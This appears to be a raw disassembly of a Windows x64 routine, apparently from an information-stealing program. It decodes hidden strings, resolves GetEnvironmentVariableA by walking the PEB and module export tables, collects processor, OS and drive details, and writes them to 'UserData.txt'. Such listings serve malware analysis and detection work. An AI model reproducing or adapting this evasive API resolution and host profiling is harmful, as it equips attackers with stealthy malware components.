je 0x14001a157
mov r14d, 0x5a4d
jmp 0x14001a090
mov rax, rbx
jmp 0x14001a160
mov rax, rbx
mov r14d, 0x5a4d
lea r8, [rbp + 0x17b0]
lea rdx, [rbp + 0x1890]
xor ecx, ecx
call rax
nop
movzx edx, word [rbp + 0x17be]
lea rcx, [rbp + 0x380]
call fcn.14001ef10
nop
movzx edx, word [rbp + 0x17bc]
lea rcx, [rbp + 0x360]
call fcn.14001ef10
nop
movzx edx, word [rbp + 0x17ba]
lea rcx, [rbp + 0x340]
call fcn.14001ef10
nop
movzx edx, word [rbp + 0x17b8]
lea rcx, [rbp + 0x3a0]
call fcn.14001ef10
nop
movzx edx, word [rbp + 0x17b0]
lea rcx, [rbp + 0x320]
call fcn.14001ef10
nop
movzx edx, word [rbp + 0x17b2]
lea rcx, [rbp + 0x300]
call fcn.14001ef10
nop
movzx edx, word [rbp + 0x17b6]
lea rcx, [rbp + 0x70]
call fcn.14001ef10
nop
mov dl, 0x2e
lea rcx, [rbp + 0x70]
call fcn.140023980
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x2e0]
call fcn.14001e6c0
nop
lea r9, [rbp + 0x300]
lea r8, [rbp + 0x2e0]
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x268]
call fcn.1400239c0
nop
mov dl, 0x2e
lea rcx, [rbp + 0x268]
call fcn.140023980
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x4e0]
call fcn.14001e6c0
nop
lea r9, [rbp + 0x320]
lea r8, [rbp + 0x4e0]
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x248]
call fcn.1400239c0
nop
mov dl, 0x20
lea rcx, [rbp + 0x248]
call fcn.140023980
lea rdx, [rbp + 0x248]
lea rcx, [rbp + 0x4c0]
call fcn.14001e6c0
nop
lea r9, [rbp + 0x3a0]
lea r8, [rbp + 0x4c0]
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x228]
call fcn.1400239c0
nop
mov dl, 0x3a
lea rcx, [rbp + 0x228]
call fcn.140023980
lea rdx, [rbp + 0x228]
lea rcx, [rbp + 0x4a0]
call fcn.14001e6c0
nop
lea r9, [rbp + 0x340]
lea r8, [rbp + 0x4a0]
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x208]
call fcn.1400239c0
nop
mov dl, 0x3a
lea rcx, [rbp + 0x208]
call fcn.140023980
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x480]
call fcn.14001e6c0
nop
lea r9, [rbp + 0x360]
lea r8, [rbp + 0x480]
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x1e8]
call fcn.1400239c0
nop
mov dl, 0x2e
lea rcx, [rbp + 0x1e8]
call fcn.140023980
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x460]
call fcn.14001e6c0
nop
lea r9, [rbp + 0x380]
lea r8, [rbp + 0x460]
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x440]
call fcn.1400239c0
nop
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x1810]
call fcn.14001e6a0
nop
lea rcx, [rbp + 0x440]
call fcn.14001e820
nop
lea rcx, [rbp + 0x460]
call fcn.14001e820
nop
lea rcx, [rbp + 0x1e8]
call fcn.14001e820
nop
lea rcx, [rbp + 0x480]
call fcn.14001e820
nop
lea rcx, [rbp + 0x208]
call fcn.14001e820
nop
lea rcx, [rbp + 0x4a0]
call fcn.14001e820
nop
lea rcx, [rbp + 0x228]
call fcn.14001e820
nop
lea rcx, [rbp + 0x4c0]
call fcn.14001e820
nop
lea rcx, [rbp + 0x248]
call fcn.14001e820
nop
lea rcx, [rbp + 0x4e0]
call fcn.14001e820
nop
lea rcx, [rbp + 0x268]
call fcn.14001e820
nop
lea rcx, [rbp + 0x2e0]
call fcn.14001e820
nop
lea rcx, [rbp + 0x70]
call fcn.14001e820
nop
lea rcx, [rbp + 0x300]
call fcn.14001e820
nop
lea rcx, [rbp + 0x320]
call fcn.14001e820
nop
lea rcx, [rbp + 0x3a0]
call fcn.14001e820
nop
lea rcx, [rbp + 0x340]
call fcn.14001e820
nop
lea rcx, [rbp + 0x360]
call fcn.14001e820
nop
lea rcx, [rbp + 0x380]
call fcn.14001e820
movzx r8d, byte [rsp + 0x60]
lea rdx, str._nNumber_of_processors:
lea rcx, [rbp + 0x1250]
call fcn.140022b90
nop
mov rcx, rax
call fcn.14001d050
mov r8, r12
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14001a4b0
mov rdx, rax
lea rcx, [rbp + 0x1810]
call fcn.14001eb90
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.NUMBER_OF_PROCESSORS
lea rcx, [rbp + 0x12a0]
call fcn.140022c80
nop
mov rcx, rax
call fcn.14001cf20
mov rdx, rax
lea rcx, [rbp + 0x5d0]
call fcn.14001e6f0
mov r12, rax
mov qword [rsp + 0x78], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x1f10]
call fcn.14012e2b0
mov rcx, r12
call fcn.14001ec10
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetEnvironmentVariableA
lea rcx, [rbp + 0x12f0]
call fcn.14001fde0
nop
mov rcx, rax
call fcn.14001d050
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14001a637
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001a61f
cmp word [r11], r14w
jne 0x14001a632
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14001a632
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14001a632
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001a61f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x14001a613
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001a60e
cmp byte [rcx], al
jne 0x14001a613
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x14001a5e4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001a63a
test r8b, r8b
jne 0x14001a5fb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x14001a5d0
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x14001a637
mov r14d, 0x5a4d
jmp 0x14001a570
mov rax, rbx
jmp 0x14001a640
mov rax, rbx
mov r14d, 0x5a4d
mov r8d, 0x104
lea rdx, [rbp + 0x1f10]
mov rcx, r13
call rax
nop
dec eax
cmp eax, 0x102
ja 0x14001a6a3
lea rcx, [rbp + 0x1f10]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14001a670
cmp byte [rbp + rax + 0x1f0f], 0x5c
jne 0x14001a69a
dec rax
cmp rax, 0x104
jae 0x14001b112
mov byte [rbp + rax + 0x1f10], 0
lea rdx, [rbp + 0x1f10]
jmp 0x14001a6aa
lea rdx, [0x14015febb]
lea rcx, [rbp + 0x90]
call fcn.14001e6f0
nop
mov rcx, r12
call fcn.14001e820
nop
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x1810]
call fcn.14001e6a0
nop
lea rcx, [rbp + 0x90]
call fcn.14001e820
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str._nProcessor_identifier:
lea rcx, [rbp + 0x1340]
call fcn.140022d70
nop
mov rcx, rax
call fcn.14001d050
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001a710
mov rdx, rax
lea rcx, [rbp + 0x1810]
call fcn.14001eb90
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.PROCESSOR_IDENTIFIER
lea rcx, [rbp + 0x1390]
call fcn.140022e60
nop
mov rcx, rax
call fcn.14001cf20
mov rdx, rax
lea rcx, [rbp + 0x5f0]
call fcn.14001e6f0
mov r12, rax
mov qword [rsp + 0x78], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x2020]
call fcn.14012e2b0
mov rcx, r12
call fcn.14001ec10
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetEnvironmentVariableA
lea rcx, [rbp + 0x13e0]
call fcn.14001fde0
nop
mov rcx, rax
call fcn.14001d050
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14001a897
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001a87f
cmp word [r11], r14w
jne 0x14001a892
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14001a892
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14001a892
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001a87f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x14001a873
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001a86e
cmp byte [rcx], al
jne 0x14001a873
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x14001a844
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001a89a
test r8b, r8b
jne 0x14001a85b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x14001a830
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x14001a897
mov r14d, 0x5a4d
jmp 0x14001a7d0
mov rax, rbx
jmp 0x14001a8a0
mov rax, rbx
mov r14d, 0x5a4d
mov r8d, 0x104
lea rdx, [rbp + 0x2020]
mov rcx, r13
call rax
nop
dec eax
cmp eax, 0x102
ja 0x14001a903
lea rcx, [rbp + 0x2020]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14001a8d0
cmp byte [rbp + rax + 0x201f], 0x5c
jne 0x14001a8fa
dec rax
cmp rax, 0x104
jae 0x14001b118
mov byte [rbp + rax + 0x2020], 0
lea rdx, [rbp + 0x2020]
jmp 0x14001a90a
lea rdx, [0x14015febb]
lea rcx, [rbp + 0xb0]
call fcn.14001e6f0
nop
mov rcx, r12
call fcn.14001e820
nop
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x1810]
call fcn.14001e6a0
nop
lea rcx, [rbp + 0xb0]
call fcn.14001e820
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str._nProcessor_architecture:
lea rcx, [rbp + 0x16b0]
call fcn.140022f50
nop
mov rcx, rax
call fcn.14001cdf0
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001a970
mov rdx, rax
lea rcx, [rbp + 0x1810]
call fcn.14001eb90
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.PROCESSOR_ARCHITECTURE
lea rcx, [rbp + 0x1430]
call fcn.140023040
nop
mov rcx, rax
call fcn.14001ccc0
mov rdx, rax
lea rcx, [rbp + 0x610]
call fcn.14001e6f0
mov r12, rax
mov qword [rsp + 0x78], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x2130]
call fcn.14012e2b0
mov rcx, r12
call fcn.14001ec10
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetEnvironmentVariableA
lea rcx, [rbp + 0x1480]
call fcn.14001fde0
nop
mov rcx, rax
call fcn.14001d050
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14001aaf7
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001aadf
cmp word [r11], r14w
jne 0x14001aaf2
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14001aaf2
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14001aaf2
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001aadf
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x14001aad3
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001aace
cmp byte [rcx], al
jne 0x14001aad3
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x14001aaa4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001aafa
test r8b, r8b
jne 0x14001aabb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x14001aa90
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x14001aaf7
mov r14d, 0x5a4d
jmp 0x14001aa30
mov rax, rbx
jmp 0x14001ab00
mov rax, rbx
mov r14d, 0x5a4d
mov r8d, 0x104
lea rdx, [rbp + 0x2130]
mov rcx, r13
call rax
nop
dec eax
cmp eax, 0x102
ja 0x14001ab63
lea rcx, [rbp + 0x2130]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14001ab30
cmp byte [rbp + rax + 0x212f], 0x5c
jne 0x14001ab5a
dec rax
cmp rax, 0x104
jae 0x14001b11e
mov byte [rbp + rax + 0x2130], 0
lea rdx, [rbp + 0x2130]
jmp 0x14001ab6a
lea rdx, [0x14015febb]
lea rcx, [rbp + 0xd0]
call fcn.14001e6f0
nop
mov rcx, r12
call fcn.14001e820
nop
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x1810]
call fcn.14001e6a0
nop
lea rcx, [rbp + 0xd0]
call fcn.14001e820
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str._n0s:
lea rcx, [rbp + 0x958]
call fcn.140023130
nop
mov rcx, rax
call fcn.14001cbd0
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001abd0
mov rdx, rax
lea rcx, [rbp + 0x1810]
call fcn.14001eb90
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, [0x140160368]
lea rcx, [rbp + 0x990]
call fcn.140023220
nop
mov rcx, rax
call fcn.14001caf0
mov rdx, rax
lea rcx, [rbp + 0x630]
call fcn.14001e6f0
mov r12, rax
mov qword [rsp + 0x78], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x2240]
call fcn.14012e2b0
mov rcx, r12
call fcn.14001ec10
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetEnvironmentVariableA
lea rcx, [rbp + 0x14d0]
call fcn.14001fde0
nop
mov rcx, rax
call fcn.14001d050
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14001ad57
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001ad3f
cmp word [r11], r14w
jne 0x14001ad52
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14001ad52
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14001ad52
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001ad3f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x14001ad33
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001ad2e
cmp byte [rcx], al
jne 0x14001ad33
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x14001ad04
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001ad5a
test r8b, r8b
jne 0x14001ad1b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x14001acf0
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x14001ad57
mov r14d, 0x5a4d
jmp 0x14001ac90
mov rax, rbx
jmp 0x14001ad60
mov rax, rbx
mov r14d, 0x5a4d
mov r8d, 0x104
lea rdx, [rbp + 0x2240]
mov rcx, r13
call rax
nop
dec eax
cmp eax, 0x102
ja 0x14001adc3
lea rcx, [rbp + 0x2240]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14001ad90
cmp byte [rbp + rax + 0x223f], 0x5c
jne 0x14001adba
dec rax
cmp rax, 0x104
jae 0x14001b124
mov byte [rbp + rax + 0x2240], 0
lea rdx, [rbp + 0x2240]
jmp 0x14001adca
lea rdx, [0x14015febb]
lea rcx, [rbp + 0xf0]
call fcn.14001e6f0
nop
mov rcx, r12
call fcn.14001e820
nop
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x1810]
call fcn.14001e6a0
nop
lea rcx, [rbp + 0xf0]
call fcn.14001e820
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str._nHomedrive:
lea rcx, [rbp + 0xc40]
call fcn.140023310
nop
mov rcx, rax
call fcn.14001ca00
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001ae30
mov rdx, rax
lea rcx, [rbp + 0x1810]
call fcn.14001eb90
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.HOMEDRIVE
lea rcx, [rbp + 0xbc0]
call fcn.140023400
nop
mov rcx, rax
call fcn.14001c8f0
mov rdx, rax
lea rcx, [rbp + 0x650]
call fcn.14001e6f0
mov r12, rax
mov qword [rsp + 0x78], rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x2350]
call fcn.14012e2b0
mov rcx, r12
call fcn.14001ec10
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetEnvironmentVariableA
lea rcx, [rbp + 0x1520]
call fcn.14001fde0
nop
mov rcx, rax
call fcn.14001d050
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14001afb7
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001af9d
cmp word [r11], r14w
jne 0x14001afb1
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14001afb1
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14001afbd
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001af9d
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x14001af91
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001af8c
cmp byte [rcx], al
jne 0x14001af91
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x14001af64
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov ecx, dword [r14 + rcx*4]
add rcx, r11
jmp 0x14001afb9
test r8b, r8b
jne 0x14001af7b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x14001af50
cmp qword [rdi + 0x60], 0
je 0x14001afb7
xor ebx, ebx
mov r14d, 0x5a4d
jmp 0x14001aef0
mov qword [rbp - 0x30], rbx
jmp 0x14001afbd
xor ecx, ecx
mov qword [rbp - 0x30], rcx
mov r8d, 0x104
lea rdx, [rbp + 0x2350]
mov rcx, r13
call qword [rbp - 0x30]
nop
dec eax
cmp eax, 0x102
ja 0x14001b023
lea rcx, [rbp + 0x2350]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14001aff0
cmp byte [rbp + rax + 0x234f], 0x5c
jne 0x14001b01a
dec rax
cmp rax, 0x104
jae 0x14001b0f4
mov byte [rbp + rax + 0x2350], 0
lea rdx, [rbp + 0x2350]
jmp 0x14001b02a
lea rdx, [0x14015febb]
lea rcx, [rbp + 0x110]
call fcn.14001e6f0
nop
mov rcx, r12
call fcn.14001e820
nop
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x1810]
call fcn.14001e6a0
nop
lea rcx, [rbp + 0x110]
call fcn.14001e820
nop
mov edi, dword [rbp + 0x1820]
lea rcx, [rbp + 0x1810]
call fcn.14001ec10
mov rbx, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.UserData.txt
lea rcx, [rbp + 0x1700]
call fcn.1400234f0
nop
mov rcx, rax
call fcn.14001c7d0
mov dword [rsp + 0x20], 3
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, qword [rbp - 0x28]
call fcn.1401276d0
nop
lea rcx, [rbp + 0x1810]
call fcn.14001e820
mov rcx, qword [rbp + 0x2570]
xor rcx, rsp
call fcn.14012b8f0
lea r11, [rsp + 0x2690]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14012ba20
nop
call fcn.14012ba20
nop
call fcn.14012ba20
nop
call fcn.14012ba20
nop
call fcn.14012ba20
nop
call fcn.14012ba20
nop
call fcn.14012ba20
nop
call fcn.14012ba20
nop
call fcn.14012ba20
int3